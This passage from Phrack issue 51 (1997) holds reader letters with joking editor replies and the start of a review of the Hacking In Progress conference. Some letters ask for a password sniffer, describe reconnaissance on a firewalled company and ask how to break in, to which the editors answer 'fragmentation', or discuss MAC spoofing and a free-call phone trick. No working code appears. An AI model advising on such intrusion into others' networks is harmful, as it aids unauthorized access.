0x1d>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
I sent this from your hoime page...is it X-UIDL? I dunno, it's 4 AM
|
|||
|
anyway
|
|||
|
|
|||
|
um oh, keep in mind that ur response (if made) to this may be dumped to
|
|||
|
#hack printed in the next Citadel knockoff or whatevrr
|
|||
|
|
|||
|
I was just like thinking oh, I was thinking "I don't have an Irix
|
|||
|
sniffer!"...actually my thoughts don't have quotes around them it was
|
|||
|
more like
|
|||
|
|
|||
|
~o- all the Irix sniffers I have suck -o~
|
|||
|
|
|||
|
and then theres like Irix 4, 5, 6. Bah. And like sniffit sucks and
|
|||
|
anyway. And then I mentioned this and people were making fun of me, but
|
|||
|
I don't care. I only care lately when people are like, "Oh that's what
|
|||
|
youy make? I'm 17, have a criminal record and make three times that!".
|
|||
|
Anyway, people are like, "No, no nirva is elite" so I thought, aha, I'll
|
|||
|
ask nirva what a good Irix sniffer is. Oh, like now that people are
|
|||
|
laughing at that I have to keep this quets like secrtet. I even think
|
|||
|
some Irix's don't have compile, like Solaris. Christ, some Solaris's
|
|||
|
have jack shit. Anyway.
|
|||
|
|
|||
|
1) Why don't u log on #hack, or are you tres elite #!guild or beyond
|
|||
|
elite #www or #root #Twilight_Zone and more importantly
|
|||
|
|
|||
|
2) Irix sniffer - captures passwords, actually compiles. I hate
|
|||
|
coding. I am a a lazy American. And like, getting legit root access on
|
|||
|
an Irix...bvah, Irix sniffer!
|
|||
|
|
|||
|
Bye-bye hackers
|
|||
|
|
|||
|
oh PostScript
|
|||
|
|
|||
|
3) Are you a cyberpunk?
|
|||
|
|
|||
|
If I ran Phrack I wouldn't like Mr. Tishler have "Are hackers in general
|
|||
|
geeks?" as the question _everyone_ gets, I think, Are you a cyberpunk?
|
|||
|
Would be it
|
|||
|
|
|||
|
[ 1. We do hang out on as many public channels as we can stand for
|
|||
|
at least a little bit of time each issue. But really why do
|
|||
|
you care if an editor of Phrack is there when people are shouting
|
|||
|
about their penis size and how many drugs they are on? If you
|
|||
|
want to talk about something, we are always available by e-mail
|
|||
|
and will usually talk to you by private msgs if we aren't busy
|
|||
|
doing something else at the moment.
|
|||
|
2. Anyone want to write us a really cool one?
|
|||
|
3. Who are we to change tradition? ]
|
|||
|
|
|||
|
0x1e>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Hello,
|
|||
|
|
|||
|
I wanna ask you something about the following problem. I'm really stuck (the
|
|||
|
1st time ;-)) ! Is it possible to pass a firewall and access one of the
|
|||
|
domains behind it ?? I'm afraid that the sysadmins did their job fine :(
|
|||
|
I've got everything what I need but that damn wall....I'll give you some info
|
|||
|
that I've obtained so far:
|
|||
|
|
|||
|
- IP-address of the firewall,
|
|||
|
- All the domains + IP adresses behind this wall,
|
|||
|
- The login-account of the superuser,
|
|||
|
- All the open-UNIX ports behind the wall,
|
|||
|
- The company has no WWW-site but they do have an Intranet.
|
|||
|
|
|||
|
portscanning gives me this:
|
|||
|
21~=ftp,
|
|||
|
23~=telnet,
|
|||
|
25~=smtp-mail 220 x.x.x.x SMTP/smap Ready.
|
|||
|
|
|||
|
This is at IP x.x.x.2 but I found out that also x.x.x.1 belongs to the same
|
|||
|
company with 3 other ports...
|
|||
|
7~=echo,
|
|||
|
9~=discard-sink null
|
|||
|
79~=finger.
|
|||
|
|
|||
|
Is the only way to go by D.O.S. attack the firewall and then spoof the
|
|||
|
firewall's IP addres ?
|
|||
|
|
|||
|
But how to start ?? Woul u be so kind to help me ??
|
|||
|
|
|||
|
TIA,
|
|||
|
theGIZMO
|
|||
|
|
|||
|
|
|||
|
[ fragmentation. ]
|
|||
|
|
|||
|
|
|||
|
0x1f>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Ok, this might sound dumb , but, I think it would be cool to have this as a
|
|||
|
slogan.
|
|||
|
|
|||
|
"Blah, blah, blah, and along with your subscription, you'll receive a
|
|||
|
LIFETIME WARRANTY ON YOUR BRAIN!! That is, if for any reason your brain
|
|||
|
can't figure out a problem you're having hacking, just e-mail us with your
|
|||
|
question and we'll be glad to help you out. Note: Please PGP encrypt all
|
|||
|
questions regarding hacking questions. Thank you."
|
|||
|
|
|||
|
Do you like it? Note that blah, blah, blah is whatever you would it to be.
|
|||
|
Such as, "You can subscribe to Phrack Magazine by sending e-mail to
|
|||
|
Phrackedit@infonexus.com requesting you be put on the list, and along with
|
|||
|
your subscription......"
|
|||
|
|
|||
|
Ok, thats it....write back if you like it....or if you don't. Here is my PGP
|
|||
|
public key.
|
|||
|
Oh yeah...you might have gotten mail from PhatTode@aol.com. That is me. So
|
|||
|
direct replies to those messages to this new address...Thank you.
|
|||
|
|
|||
|
[ You're right. It does sound dumb. ]
|
|||
|
|
|||
|
0x20>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Hey,
|
|||
|
sorry to bother you but I just got Redhat Linux 4.1 in the mail. I
|
|||
|
think it's great besides the fact that I hear that it lacks security.
|
|||
|
HOw do I get PGP up in it? Is it easy to install? Thanks.
|
|||
|
|
|||
|
Killer Bee
|
|||
|
|
|||
|
[ yes, very easy to install. Read the documentation. It's different
|
|||
|
for different platforms. ]
|
|||
|
|
|||
|
0x21>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Hello
|
|||
|
|
|||
|
My name is Joseph and I am intrested in any information you may have
|
|||
|
about the early day's of hacking and current hacking underground.. also
|
|||
|
I understand you are a member of the guild ?? what is this?
|
|||
|
|
|||
|
Joseph --> jgriffiths@iname.com
|
|||
|
|
|||
|
[ The guild is like what r00t was before r00t got all famous and became
|
|||
|
greatly feared and admired. Oh. And we spend most of our time counting
|
|||
|
our millions and having sex with models. ]
|
|||
|
|
|||
|
0x22>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Hi there,
|
|||
|
|
|||
|
Do you know where I can find the Rosetta stone for interpreting the output
|
|||
|
of Solaris lockd & statd in debug mode? I can't find any public information
|
|||
|
about it, even on Sun sites. Sun Microsystem refuses to let their lab
|
|||
|
publish anything about interpretation of system calls outputs. Are they
|
|||
|
afraid that they will be losing support contracts if this information gets
|
|||
|
out? The man page does not include arguments to run in debug mode, and
|
|||
|
what's the point of providing the tools w/o the means to interpret the
|
|||
|
result? Teach a man how to fish .....you know.
|
|||
|
|
|||
|
Thanks.
|
|||
|
|
|||
|
Christine
|
|||
|
|
|||
|
[ Someone want to write an article on it? ]
|
|||
|
|
|||
|
0x23>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
In regards to the article on Ethernet spoofing:
|
|||
|
|
|||
|
As an aside note for the highly paranoid: ethernet spoofing
|
|||
|
|
|||
|
Note: some of this is theorized, and might not be 100% accurate - if you
|
|||
|
get the jist of it, you should be able to figure out if it works for
|
|||
|
you.
|
|||
|
|
|||
|
It is possible to spoof ethernet hardware addresses as well. Some cards
|
|||
|
will allow you to do this easily, but you need to have card programming
|
|||
|
docs (check the Linux kernel source for your card driver-!!). Others
|
|||
|
won't let you do it at all, and require a ROM change, or worse it might
|
|||
|
be solid state logic on the card - EVIL. Course you might be able to
|
|||
|
get around solid state stuff by recoding the ROM, but I wouldn't
|
|||
|
recommend it unless you don't have the $70 to buy a new card, and have a
|
|||
|
month or two to spend in the basement.
|
|||
|
|
|||
|
... rest of stuff(tm) deleted ...
|
|||
|
|
|||
|
Interestingly enough, most of the Sun sparc stations I've seen allow you to
|
|||
|
enter in any mac address that you want using ifconfig(1M). I "know someone"
|
|||
|
who picked up a Sparc IPC for $50 (Can $$) and upon discovering that the
|
|||
|
battery that powers the IDPROM was deceased, we needed to fake a mac address
|
|||
|
to get it to talk to someone. Sun's default is 0:0:0:0:0:0 but the 3Com
|
|||
|
card's mac (from a different network) worked quite nicely.
|
|||
|
|
|||
|
Interesting concept the author has though, I'll be f*ck around with the idea
|
|||
|
when I'm supposedly doing work =)
|
|||
|
|
|||
|
|
|||
|
[ MAC address spoofing techniques are well known about, especially under
|
|||
|
Sparcs. However, do some research, write some code and an article and
|
|||
|
submit it... ]
|
|||
|
|
|||
|
0x24>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
I love your e-zine it is the coolest thing i've read.
|
|||
|
|
|||
|
[ Thank you. It's the coolest thing we've written. ]
|
|||
|
|
|||
|
Please could you tell me any ways to violate the security of a "MacAdmin"
|
|||
|
based system on the Apple Macintosh.
|
|||
|
|
|||
|
[ What's a Macintosh? ]
|
|||
|
|
|||
|
Mark "Vombat" Brown
|
|||
|
|
|||
|
May phrack and Fiona live forever!
|
|||
|
|
|||
|
|
|||
|
[ ...and may Phrack and Fiona do a joint project some time soon... ]
|
|||
|
|
|||
|
|
|||
|
0x25>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Hey, I sent this to you because yer handle is shorter.
|
|||
|
Anyways, great job on issue 50, always a pleasure to read it, and
|
|||
|
in article 12, by Sideshow Bob, I was wondering about the "tail"
|
|||
|
command. I don't seem to have this nifty util, and was wondering
|
|||
|
if perchance, you knew where I could get a copy. Also: the Skytel
|
|||
|
article sorta looked like an advertisement to me. Nothing against that, it's
|
|||
|
still pretty interesting to learn of Skytel's history, and of the nifty things
|
|||
|
out there, but I was wondering if it sounded like a detailed ad to anyone else.
|
|||
|
But if you could help me out with the tail command, I'd be so grateful.
|
|||
|
Joel Thomas
|
|||
|
|
|||
|
[ Standard GNU utility. Try your local unix box. ]
|
|||
|
|
|||
|
0x26>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|
|||
|
| G'day mate,
|
|||
|
| I am a computer user in Camplong, Timor. I have limited internet access, as
|
|||
|
| it is a long distance phone call from home. I have downloaded your issues
|
|||
|
| 46-50 and haven't read through them all yet, but what I see looks good.
|
|||
|
| What I need from you is a UUENCODER program so I can extract the included
|
|||
|
| files.
|
|||
|
|
|||
|
[ Standard GNU shell tool. Any Unix host will have it. Do a websearch
|
|||
|
to get it for Windows. ]
|
|||
|
|
|||
|
| I am also confused on how to extract the .c files from the text
|
|||
|
| files(philes?).
|
|||
|
|
|||
|
[ As it says in the header file: gcc -o extract extract.c
|
|||
|
|
|||
|
then `extract filename` ]
|
|||
|
|
|||
|
| I am not a C programmer, but my dad is.
|
|||
|
|
|||
|
[ That's nice. ]
|
|||
|
|
|||
|
|
|
|||
|
| I need PGP. Although my side of the internet is safe, noone reading others
|
|||
|
| letters (the sysop is too dumb or something to even think about that) I want
|
|||
|
| my mail to get where it is going in one piece unread. Where can I find a
|
|||
|
| free copy of PGP?
|
|||
|
|
|||
|
[ Do a websearch. ]
|
|||
|
|
|||
|
0x27>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
|
|||
|
.. crack me up. Excellent social porno in your reader's letters section.
|
|||
|
Keep on commenting. Might start screaming soon.
|
|||
|
|
|||
|
Um, the guy from slovakia might want to get hold of Bill Squire for
|
|||
|
information on smartcard programmers; as I seem to recall, he likes
|
|||
|
messing with these electronic devices.
|
|||
|
|
|||
|
Another thing; I though DC was now just sticking to his viola? According
|
|||
|
to all the news he only started hacking because someone vandalized it?
|
|||
|
Wonder if I should have used the same thing in my case: "I plead not
|
|||
|
guilty, Magistrate sir, but the University's good-for-nothing courses
|
|||
|
drove me to it." Whatever it takes, I guess..
|
|||
|
|
|||
|
Yum.
|
|||
|
|
|||
|
-me.
|
|||
|
|
|||
|
|
|||
|
0x28>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
This is a response to p48-02 in which one "Mr. Sandman" proceeded to spew
|
|||
|
out eleven paragraphs of blatant misinformation. Rather than lumbering
|
|||
|
through a point-by-point rebuttal to his letter, I will quickly summarize
|
|||
|
what was wrong with it, and then state a few facts to clarify some things.
|
|||
|
|
|||
|
KoV never touched Skidmore. This is something that anyone who was in the
|
|||
|
group will attest to. And not just to follow the old "admit nothing, deny
|
|||
|
everything" plan. In reality, we NEVER touched it.
|
|||
|
|
|||
|
In retrospect, I find it very odd that someone from New York would claim
|
|||
|
to know so much about the inner workings of a decidedly regional
|
|||
|
[Connecticut] hacker collective. While we weren't exactly xenophobic, we
|
|||
|
certainly didn't go out of our way to divulge information about ourselves
|
|||
|
to anyone outside the group (or the state, for that matter). This would
|
|||
|
explain why Mr. Sandman's letter was riddled with insufferably laughable
|
|||
|
lies that were obviously the product of a jealous and dejected outsider.
|
|||
|
|
|||
|
One thing that needs to be put to rest is that we were certainly not "a
|
|||
|
bunch of egotistical and immature criminals" as Mr. Sandman would have you
|
|||
|
believe. The primary focus of KoV's efforts was not to "break into
|
|||
|
universities" or "make ourselves look bigger and more important than we
|
|||
|
were." We existed, first and foremost, to unify what was, at that time, a
|
|||
|
greatly divided scene. Squabbling and infighting among those few real
|
|||
|
hackers who were still around was leading to a critical breakdown at the
|
|||
|
fundamental level. Something had to be done, and fast. In an effort to
|
|||
|
bring together a group of like-minded individuals (not only from the
|
|||
|
hacker perspective but also in terms of anarcho-libertarian philosophy and
|
|||
|
ideology), I started KoV with an intentionally humorous name behind the
|
|||
|
acronym. It was an almost immediate success, and over time I certainly
|
|||
|
accomplished all that I'd set out to do, and then some.
|
|||
|
|
|||
|
The current state of the "Connecticut hacker scene" (for lack of better
|
|||
|
terminology) is much different than it was in the summer of 1994. People
|
|||
|
are working together, cooperating, and the incessant "civil wars" which
|
|||
|
plagued us back then are all but nonexistent today. I think I'd be well
|
|||
|
within my rights to credit KoV with helping to assure that those problems
|
|||
|
are now but a memory. It really bothers me when anonymous instigators like
|
|||
|
Mr. Sandman attempt to dishonor all the work that we did to get this far,
|
|||
|
without even really having a clue as to what we were (and are) all about.
|
|||
|
Perhaps he and his ilk could benefit from such groups as KoV. Because no
|
|||
|
matter how I feel about him and his actions...
|
|||
|
|
|||
|
"The more we fight among ourselves,
|
|||
|
the less of a threat we are to the system."
|
|||
|
|
|||
|
- Valgamon
|
|||
|
Sat Jun 07 15:49:25 EDT 1997
|
|||
|
|
|||
|
|
|||
|
0x29>-------------------------------------------------------------------------
|
|||
|
|
|||
|
What up.
|
|||
|
|
|||
|
Yo, Ima hack/phreak from back in the day (1984)
|
|||
|
|
|||
|
My 1st bbs was on an atari with a floppy drive and 64k!
|
|||
|
|
|||
|
Nowadays, I do rap music and acting, live in Los angeles (im from western NY),
|
|||
|
and run 900#s and adult websites.
|
|||
|
|
|||
|
Check this out, I need to thangs:
|
|||
|
|
|||
|
#1: FTP space for adult pix (not really important, since my host gives me
|
|||
|
unlimited space), but I have no anonymous ftp capabilities)
|
|||
|
|
|||
|
#2: Windows NT or unix
|
|||
|
|
|||
|
Can you help??
|
|||
|
|
|||
|
Have broom (Music software) will travel (trade)
|
|||
|
|
|||
|
|
|||
|
[ We will trade you unix for a rap song about Phrack and a movie role
|
|||
|
for route. ]
|
|||
|
|
|||
|
0x2a>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
This is in reference to the first part of your " PGP Attack FAQ," which
|
|||
|
addresses the length of time necessary to brute force IDEA. Perhaps I'm
|
|||
|
overly paranoid (naw...) or just a perfectionist, but I would like to
|
|||
|
point out two things about this:
|
|||
|
|
|||
|
1) Somewhat of an error in your math?
|
|||
|
2) "As far as present technology is concerned."
|
|||
|
|
|||
|
"As we all know the keyspace of IDEA is 128-bits. In base 10 notation
|
|||
|
that is:
|
|||
|
|
|||
|
|
|||
|
340,282,366,920,938,463,463,374,607,431,768,211,456.
|
|||
|
|
|||
|
To recover a particular key, one must, on average, search half the
|
|||
|
keyspace. That is 127 bits:
|
|||
|
|
|||
|
|
|||
|
170,141,183,460,469,231,731,687,303715,884,105,728.
|
|||
|
|
|||
|
If you had 1,000,000,000 machines that could try 1,000,000,000 keys/sec,
|
|||
|
it would still take all these machines longer than the universe as we
|
|||
|
know it has existed and then some, to find the key. IDEA, as far as
|
|||
|
present technology is concerned, is not vulnerable to brute-force
|
|||
|
attack, pure and simple. "
|
|||
|
|
|||
|
Somewhat of an error in your math
|
|||
|
========================
|
|||
|
|
|||
|
OK, let's examine the math. For simplicity, let's say we only had one
|
|||
|
machine that could try 1,000,000,000 keys/sec. The number of seconds it
|
|||
|
would take for this machine to search half the keyspace, and thus find
|
|||
|
the correct key would be
|
|||
|
170,141,183,460,469,231,731,687,303715,884,105,728 divided by
|
|||
|
1,000,000,000. This would yield 170,141,183,460,000,000,000,000,000,000
|
|||
|
seconds of maximum search time before finding the key. This in turn
|
|||
|
would be 2,835,686,391,010,000,000,000,000,000 minutes =
|
|||
|
47,261,439,850,100,000,000,000,000 hours =
|
|||
|
1,969,226,660,420,000,000,000,000 days = 5,395,141,535,400,000,000,000
|
|||
|
years = approximately 5.395 sextillion years. If there are 1,000,000,000
|
|||
|
of these machines as you suggest, then the years required for a
|
|||
|
successful brute force crack would be 5,395,141,535,400,000,000,000 /
|
|||
|
1,000,000,000 = 5,395,141.5354. So, it comes down to: are you saying
|
|||
|
that these 1,000,000,000 machines are acting as a collective entity or
|
|||
|
can *each* one of these machines operate on 1,000,000,000 keys/sec and
|
|||
|
thus operate together at a speed of (1,000,000,000) * (1,000,000,000) =
|
|||
|
1,000,000,000,000,000,000 keys/sec. If the first is true, then you are
|
|||
|
correct in saying that "it would still take all these machines longer
|
|||
|
than the universe as we know it has existed and then some," as it would
|
|||
|
take app. 5.395 sextillion years (scientists estimnate that universal
|
|||
|
redshift shows the universe to have existed thus far for only 15 billion
|
|||
|
years). If the second is true, then it would take far less time than the
|
|||
|
existence of the universe at app. 5.395 million years... which could be
|
|||
|
compared to twice the amount of time human beings have existed on earth,
|
|||
|
or just a fraction of the time dinosaurs were here.
|
|||
|
|
|||
|
|
|||
|
[ Hrm. Take it up with Schneier. ]
|
|||
|
|
|||
|
|
|||
|
"As far as present technology is concerned."
|
|||
|
=============================
|
|||
|
|
|||
|
How far is present technology concerned?! The Intel/Sandia Teraflops
|
|||
|
Supercomputer can reportedly perform 1.06 trillion floating point
|
|||
|
operations per second (refer to
|
|||
|
http://www.intel.com/pressroom/archive/releases/cn121796.htm). Assuming
|
|||
|
|
|||
|
[ Keep in mind that factoring and brute force key searches are
|
|||
|
integer-based calculations, not floating point operations. ]
|
|||
|
|
|||
|
one of these "instructions" can operate on, let's say something around a
|
|||
|
28th power float variable, then disregarding read/write operations, the
|
|||
|
system can search at 1.06 trillion keys/sec. This yields a total search
|
|||
|
time (before a successful "hit") of
|
|||
|
170,141,183,460,469,231,731,687,303715,884,105,728 / 1.06 trillion =
|
|||
|
160,510,550,434,000,000,000,000,000 seconds = 5,089,756,165,470,000,000
|
|||
|
years or 5.089 quintillion years... still a rediculous amount of time
|
|||
|
even on the fastest publicised system in existence. Now, this system,
|
|||
|
the Intel/Sandia Teraflops Supercomputer is made up of 9,200 200 MHz
|
|||
|
Pentium Pro processors. Being that they didn't have to buy them at
|
|||
|
markup/retail and they manufacture them from scratch for their own
|
|||
|
purposes, let's say it cost $500 per chip plus some negligible ram and
|
|||
|
labor costs (how much ram do you need when you have a gig+ worth of
|
|||
|
onboard cache, etc.). With 9,200 chips, the system would take about
|
|||
|
$4,600,000 to build. A practical question: if federal taxation is %28 on
|
|||
|
an annual income of $80,000, where does all the money go? Well, let's
|
|||
|
say a Billion dollars per decade goes to the NSA to build whatever they
|
|||
|
want. If the 9,200 chip system cost $4,600,000 then a little algebra
|
|||
|
reveals that with one billion dollars, the NSA could purchase
|
|||
|
approximately 2 million 200 MHz pentium pros. If the 9200 chip system
|
|||
|
did 1.06 trillion keys/sec, thus the 2 million chip system would be
|
|||
|
capable of approximately 230,434,782,609,000 keys/sec or app. 230
|
|||
|
trllion keys/sec. Now, say the NSA is smart enough not to buy crappy x86
|
|||
|
chips and instead get 500 MHz DEC Alpha RISC chips. This is 300 Mhz or 3
|
|||
|
fifths faster than a 200 MHz pentium pro approximately. so 230 trillion
|
|||
|
+ (230 trillion * 3/5) = 368,695,652,174,000 or 368 trillion keys/sec.
|
|||
|
The original calculation yields that the successful search time would be
|
|||
|
170,141,183,460,469,231,731,687,303715,884,105,728 / 368,695,652,174,000
|
|||
|
= 461,467,832,499,000,000,000,000 seconds = 14,633,048,975,700,000. Ok,
|
|||
|
great... so now we're down to 14.6 quadrillion years of search time,
|
|||
|
which means that at least now we may get REALLY lucky and hit the right
|
|||
|
key within a certain degree of insanity. But, this was only a billion
|
|||
|
dollars we gave the NSA in a decade. If we're especially paranoid, let's
|
|||
|
say the government was so concerned over nuclear terrorists sending
|
|||
|
encrypted messages, that the NSA got a TRILLION dollars to build a
|
|||
|
system. That divides the whole equation by a thousand making the search
|
|||
|
time 14,633,048,975,700 years or 14.6 trillion years... STILL
|
|||
|
rediculous. Ok, so let's say that now we're giving the NSA a HUNDRED
|
|||
|
TRILLION DOLLARS thus dividing the search time by 100 yielding
|
|||
|
146,330,489,757 years which is about ten times longer than the existence
|
|||
|
of the universe. But now, if we had 1,000,000,000 of *these* machines
|
|||
|
working concurrently the search time would wind up being 146.330489757
|
|||
|
years. But, if each RISC processor were replaced with a small piece of
|
|||
|
nanotechnology, each piece of this nanotech being 100 times faster than
|
|||
|
the alpha chips, you get 1.46330489757 year. There ya have it... some
|
|||
|
classified nanotechnology, 100 trillion dollars, and a DAMN lot of
|
|||
|
landmass all multiplied by 1,000,000,000 and you've brute forced IDEA in
|
|||
|
a year and a half. I won't go into the tedious calculations, but an
|
|||
|
object with the surface area of two of our moons would approximately be
|
|||
|
able to house this complex. Now, as I know you're asking about where to
|
|||
|
store all the keys... and the fact that this drive would be bigger than
|
|||
|
a solar system and so on, just have the keys generated using the same
|
|||
|
PRNG in the brute force attack... you'll just have three times the
|
|||
|
instructions (write for the generation, read to get it, write to compare
|
|||
|
it) so multiply the search time by three. The technology is possible...
|
|||
|
it's economics and territory that doesn't work.
|
|||
|
|
|||
|
[ Theorectially shure. But you have sorta just proved the point that
|
|||
|
it is not feasible. ]
|
|||
|
|
|||
|
--gKHAN
|
|||
|
|
|||
|
|
|||
|
0x2b>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
The snippit in P50 in section 02 of the zine by Xarthon entitled
|
|||
|
|
|||
|
> Yet another Lin(s)ux bug! "IP_MASQ fails to check to make sure that a
|
|||
|
> packet is in the non routable range." "So in conclusion, you are able to
|
|||
|
> spoof as if you are on the inside network, from the outside. "
|
|||
|
|
|||
|
Is so incomplete I would almost call it a lie. The only way that Linux
|
|||
|
would do this is if the person setting up the IP-Masq system issued the
|
|||
|
command "ipfwadm -F -p masquerade" which if you read the IP-Masq HOWTO it
|
|||
|
tells you explicity NOT to do for this very reason. My retort for Xarthon
|
|||
|
and all others who do stupid ass things like leave port 19 open and such;
|
|||
|
is that Linux only sux if you do. To wit, don't be a moron, and you won't
|
|||
|
have to complain that it sucks.
|
|||
|
|
|||
|
Swift Griggs | UNIX Systems Admin
|
|||
|
|
|||
|
|
|||
|
0x2c>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Hi there,
|
|||
|
|
|||
|
I have a question regarding a certain piece of hardware that has come
|
|||
|
into my possession. Since this little piece of equipment contains no
|
|||
|
indications of its intended use i have no idea what this thing could do.
|
|||
|
So here's a descrition of the little box; i hope you might be able to
|
|||
|
provide me with more information on what this device is supposed to do.
|
|||
|
|
|||
|
Description:
|
|||
|
-lightgrey rectangular casing (13CMx9CMx3CM)
|
|||
|
-frontpanel has one green LED, a connector labeled "SCANNER", and a
|
|||
|
little door which reveals two sets of dipswitches (2 sets of 8, labeled
|
|||
|
"DIPSW1" and "DIPSW2")
|
|||
|
-backpanel has three connectors, a RJ4-like connector (only it has 6
|
|||
|
lines instead of 4; it looks like a connector for a Memorex Terminal)
|
|||
|
labeled "A", a standard IBM-PC keyboard connector labeled "B", and a
|
|||
|
small (9-pin) serial interface-connector labeled "C".
|
|||
|
-there is a sticker with a serial number, a barcode, and "Made in
|
|||
|
Taiwan" on the bottom
|
|||
|
-the circuit-board contains IC's of Sony, Philips, and TExas Instruments
|
|||
|
-there is also one removable EPROM, made by AMD; it has a label on it
|
|||
|
which reads "V2.61 CS:EF88"
|
|||
|
|
|||
|
|
|||
|
I have found that a normal keyboard plugged into connector B, while a
|
|||
|
KBD-to-RJ-jack cord is plugged into connector A will allow the box to be
|
|||
|
placed between the keyboard and the kbd-port; so my first guess would be
|
|||
|
that this is some kind of filtering device. But that doesn't explain why
|
|||
|
there is a serial-connector and this "SCANNER" connector present.
|
|||
|
|
|||
|
So, do you know what this thing is ?
|
|||
|
|
|||
|
-lucipher.
|
|||
|
|
|||
|
[ Readers? ]
|
|||
|
|
|||
|
0x2d>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
hi, my friends.i am a newbie come from China,i had read some Phrack magazine.
|
|||
|
but to me surprise,i had not success compile a program still now.i send e-mail
|
|||
|
to the author,but server tell me there is no this user.
|
|||
|
for example, phrack-49-15 describle tcp port scan,but i can not find
|
|||
|
ip_tcp.h, other paper tell me a way to guess password,and said the program only
|
|||
|
need Ansi complier,but i can not success too. oh.my god.
|
|||
|
i use sun os ,gcc, i need your help, thanks.
|
|||
|
yours
|
|||
|
keven zhong
|
|||
|
|
|||
|
[ Here at Phrack, we use TheDraw for ANSI compilers. I hope that
|
|||
|
answers your question. ]
|
|||
|
|
|||
|
0x2e>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
I'm just writing this to say thanks to all the hackers that represent Phrack
|
|||
|
and work hard to keep it going,you guys are truly keeping the new generation
|
|||
|
alive.If it weren't for Phrack i'd probably never have wanted to waste my time
|
|||
|
with computer's,the technical info is first class and a lot better than most
|
|||
|
of the crap out there.I would suggest that maybe once in a while u guys could
|
|||
|
write some more stuff geared towards the newbies,it really is important
|
|||
|
because most people who aren't familiar with the terms get completely
|
|||
|
lost.Down here in Montreal(514),most people think hacking is spreading virri
|
|||
|
or u/l shitty trojans,there's no talk about unix or networks.We really need
|
|||
|
some help down here,the scene is practically dead and most newbies don't have
|
|||
|
any support to help them get started.Anywyas i just want to say keep up the
|
|||
|
good work,and it's really appreciated.
|
|||
|
--
|
|||
|
| Return Address: Dave.Conway@claw.mn.pubnix.net
|
|||
|
| Standard disclaimer: The views of this user are strictly his/her own.
|
|||
|
|
|||
|
[ Thanks, if anyone cool is in Montreal, e-mail this guy and revive
|
|||
|
your scene. ]
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 03 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K 5 1 L I N E N O I S E
|
|||
|
|
|||
|
|
|||
|
--------[ Various
|
|||
|
|
|||
|
0x1>-------------------------------------------------------------------------
|
|||
|
|
|||
|
A Review of H.I.P.
|
|||
|
|
|||
|
<torquie@landslide.openix.com>
|
|||
|
|
|||
|
|
|||
|
Out of all of the cons I've been to (and I've been to loads), Hacking In
|
|||
|
Progress was definitely the coolest and the most surreal hacker con ever.
|
|||
|
This was definitely a European event though there were a few arrivals from the
|
|||
|
US. The atmosphere was carnival. It was like an old style con where you got
|
|||
|
together to meet up with people face to face, exchange ideas and basically
|
|||
|
have loads of fun.
|
|||
|
|
|||
|
Around 2500 people attended: hackers, artists, media, police... a total mish -
|
|||
|
mash of cultures and ideas.
|
|||
|
|
|||
|
HIP was a total geek-fest. Computer networks were spread across the campsite.
|
|||
|
In the mornings (when I actually slept) I awoke to the chirping of birds and
|
|||
|
the booting up of windows95. In the evenings I sat around the campfire
|
|||
|
chatting to mates while the hardcore's played DOOM and exchanged warez.
|
|||
|
|
|||
|
During the day there were various activities. One tent held lock-picking
|
|||
|
classes. In another a group of astronomers had set up telescopes linked to
|
|||
|
computerized data-tracking equipment that you could print out. The
|
|||
|
cypherpunks had their own tent set up and I snuck in occasionally for a chat
|
|||
|
and a cold drink.
|
|||
|
|
|||
|
There was a videoconference link connected to HOPE but it crashed and was
|
|||
|
abandoned. In the main marquee, there were lectures on the usual faire of
|
|||
|
hacker interests: computer security, the legalities of hacking, anonymous
|
|||
|
re-mailing, cryptography, etc. The weather was boiling and my melted brain
|
|||
|
found it exceedingly difficult to concentrate. Most of my time I spent
|
|||
|
outside in the shade or the tent housing the bar, talking to people
|
|||
|
individually or in small groups.
|
|||
|
|
|||
|
The public telephones mysteriously malfunctioned on Sunday and could only be
|
|||
|
used to dial the emergency services. However if you dialed the Dutch
|
|||
|
equivalent to 911 you got a dial tone, so you could dial anywhere in the world
|
|||
|
for free. Supposedly this was a 'programming error' on the part of the Dutch
|
|||
|
Telephone Company.
|
|||
|
|
|||
|
Smaller more interactive workshops were also held. Though the technical
|
|||
|
lectures were really interesting, my favourite event was Padeluun's yo-yo
|
|||
|
workshop. Besides the fact that I got to keep the yo-yo, the workshop itself
|
|||
|
was farcical performance art. If you know the background you will understand
|
|||
|
what I mean, if not... Padeluun is a member of the FOEBUD group from Germany.
|
|||
|
These people do some really brilliant projects and are very politically
|
|||
|
motivated. One of their projects was to put up networks during the war in
|
|||
|
the former Yugoslavia. They also work to distribute PGP to groups in
|
|||
|
countries with oppressive governments. It is not just anyone who could pull
|
|||
|
off a workshop like this. This was high irony. When I walked up the workshop
|
|||
|
had already started and I came in on the line 'yo-yoing is good for social
|
|||
|
engineering, no one finds you a threat when you yo-yo'. As the head of the
|
|||
|
Dutch Computer Crimes division was in attendance I thought this rather
|
|||
|
hilarious.
|
|||
|
|
|||
|
The attitude at HIP was really positive. The European definition of hacking
|
|||
|
has always been broader than the American definition. Europeans accept the
|
|||
|
idea of 'social hacking'. Not hacking in the Unix sense but in the sense of
|
|||
|
subverting technology, whether it be by pirate radio, hacking smartcards,
|
|||
|
social engineering the feds... or whatever. Unlike some cons I've been to in
|
|||
|
the past couple of years, the atmosphere of HIP was really mature. There
|
|||
|
